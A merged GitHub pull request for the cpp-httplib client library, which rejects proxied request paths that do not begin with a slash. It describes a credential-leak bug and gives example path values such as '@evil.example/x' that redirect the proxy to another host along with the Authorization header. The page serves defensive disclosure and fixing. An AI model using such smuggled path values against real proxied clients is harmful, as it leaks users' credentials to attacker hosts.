Skip to content

refuse a proxied path that does not start with a slash - #2638

Merged
yhirose merged 1 commit into
yhirose:masterfrom
metsw24-max:proxy-path-leading-slash
Oct 22, 2026
Merged

yhirose merged 1 commit into
yhirose:masterfrom
metsw24-max:proxy-path-leading-slash

Conversation

@metsw24-max

Copy link
Copy Markdown
Contributor

Proxied path can extend the target host

Problem: with set_proxy() on a plain Client, the request target is "http://host:port" followed directly by the path, and nothing checks that the path starts with /. cli.Get("@evil.example/x") is sent as GET http://origin.example:8080@evil.example/x, and .evil.example/x or :81/x change the host or port the same way. The proxy routes on the absolute-form URI (RFC 9112 3.2.2), so it connects to that other host and forwards the origin's Authorization header with it. Without a proxy the same path stays on the client's own host.

Fix: ClientImpl::handle_request and open_stream_ now refuse such a path before anything is written, using the Error::Write that other locally rejected request targets already return. Paths starting with / are unchanged.

Reviewer notes:

  • ProxyAbsoluteFormTest.PathMustNotExtendTheAuthority covers the buffered and the stream path. It fails on master (the proxy receives the redirected requests) and passes with the fix.
  • An OPTIONS * through a plain proxy is now refused as well. Before this change it went out as http://host:port*, which was never valid either, so I think refusing it is reasonable, but I am happy to map it to the bare authority (RFC 9112 3.2.4) if you would prefer that.

For a plain HTTP proxy the request target is the absolute-form URI, built as "http://host:port" followed directly by the path. A path that does not begin with '/', such as "@evil.example/x" or ".evil.example/x", therefore extends the authority, and the proxy connects to another host with the origin's credentials. Both ClientImpl::handle_request and open_stream_ now refuse such a path before anything is written.
@yhirose

yhirose commented Oct 22, 2026

Copy link
Copy Markdown
Owner

Thanks for the fix. Refusing OPTIONS * through a plain proxy is fine with me. It never produced a valid request before, so nothing that worked is lost, and we can add the RFC 9112 3.2.4 mapping later if someone asks for it.

@yhirose
yhirose merged commit 276cf08 into yhirose:master Oct 22, 2026
26 of 28 checks passed
@metsw24-max

Copy link
Copy Markdown
Contributor Author

Thanks for merging this, and agreed that the asterisk-form mapping can wait until someone actually needs it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants